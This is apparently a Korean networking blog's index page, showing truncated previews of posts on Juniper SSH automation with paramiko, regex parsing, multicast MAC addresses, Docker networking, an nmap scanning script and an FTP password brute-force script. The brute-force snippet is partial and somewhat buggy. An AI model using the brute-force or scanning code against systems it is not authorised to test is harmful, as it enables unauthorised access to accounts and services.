본문 바로가기

전체 글

(24)
networkautomation -3- import time import paramiko, time from getpass import getpass import re import pandas as pd import os import openpyxl from openpyxl.utils.dataframe import dataframe_to_rows def juniper_parse(ip_a, u_id, u_pas): try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(ip_a, username=u_id, password=u_pas) print("Connected Complete") #interactive shell 선..
텍스트 파일에서 주니퍼 장비 정보 파싱하기 import re import pandas as pd host = re.compile(r"Hostname: (\w{1,30})") model = re.compile(r"Model: (\w{1,7}-\w{1,7})") ver = re.compile(r"Junos: (\w{1,2}.\w{1,3})") serial = re.compile(r"FPC \d{1} \w{1,3} \d{1,2} \w{1,3}-\w{1,6} (\w{1,13})") with open("juniper_rawdata.txt") as f: f_line = f.read().splitlines() h=host.findall(str(f_line)) m=model.findall(str(f_line)) s=serial.findall(str(f_line..
Network automation -2- import time import paramiko, time import socks from getpass import getpass def juniper_parse(ip_a, u_id, u_pas,find_words): try: #socks config sock=socks.socksocket() sock.set_proxy( proxy_type=socks.SOCKS5, addr="Socks Server IP", port=Socks Server Port, username="Socks Server ID", password="Socks Server Password") #sock ssh connect sock.connect((ip_a,22)) ssh = paramiko.SSHClient() ssh.set_mis..
Network automation import time import paramiko, time import socks from getpass import getpass def juniper_parse(ip_a, u_id, u_pas, command): #socks config sock=socks.socksocket() sock.set_proxy( proxy_type=socks.SOCKS5, addr="Socks Server IP", port=Socks Server Port, username="Socks Server ID", password="Socks Server Password") #sock ssh connect sock.connect(("SSH 연결 IP",22)) ssh = paramiko.SSHClient() ssh.set_mis..
파이썬을 이용한 NMAP 사용 기본코딩 import nmap port_scan = nmap.PortScanner() port_results = port_scan.scan("192.168.140.128","80","-sV") print(port_results) print(port_scan.command_line()) for host in port_scan.all_host(): print("호스트 정보", host, port_scan[host].hostname() print("호스트 상태", port_scan[host].state()) 응용형 import nmap port_scan = nmap.PortScanner() host_list = input("호스트 정보 입력 : ") port_list = "21,22,80" port_scan...
파이썬 무작위 대입공격 도구 import ftplib def bruteforce(ip, user, password): ftp = ftplib.FTP(ip) try : print(" 사용자 아이디 {}, 패스워드 {} " .format(user, password)) res = ftp.login(user, password) print(res) except exception as ex: print("연결오류", ex) def main(): ip = input("IP정보를 입력하세요. ") with open ("users.txt" ,"r") as users: users = users.readline() with open ("password.txt","r") as passwords: passwords = passwords.readline()..
Multicast Munticast MAC - Multicast 전달자로 사용되는 MAC address 01:80:C2 의 OUI 값을 가지며 Link를 넘어갈수 없다 - BPDU,LACP,LLDP등에 사용되며 인접된 장비 모두로 전달의 의미를 가진다 특정용도로 정해진 멀티캐스트용 MAC 주소 例) - 0180 C200 0000 : Spanning Tree Protocol (for bridges) IEEE 802.1D, RSTP, MSTP - 0180 C200 0008 : Spanning Tree Protocol (for provider bridges) IEEE 802.1AD - 0180 C200 0010 : All Bridge (802.1D에서 모든 브리지에게 브로드캐스트 전파용) - 0180 C200 0003 : 80..
도커(docker)네트워킹 도커(Docker) 없이 컨테이너(Container) 네트워크 환경 구성하기 - 도커 없이 네트워크 네임스페이스 환경에서 통신 구성 도커가 Namespace를 사용하여 네트워크 환경을 구성하기 때문에 Network Namespace를 사용하여 도커 없이 도커와 동일한 환경 구성이 가능함 - 컨테이너는 생각보다 오래된 리눅스 기능임 그런 컨테이너가 왜 최근에 각광받기 시작 했는가? 생각해보면 간단한 문제이다. 도커가 등장함으로서 컨테이너를 사용하기 위해 설정해야 했던 그 모든 불편한 설정을 도커가 대신 해주기 때문임 - 그렇기 때문에 도커의 환경구성 이해를 위해 도커 없이 Network Namespace만을 사용하여 컨테이너(container) 환경을 구성해 봄으로서 도커가 대신해주는 네트워크 환경에 대해..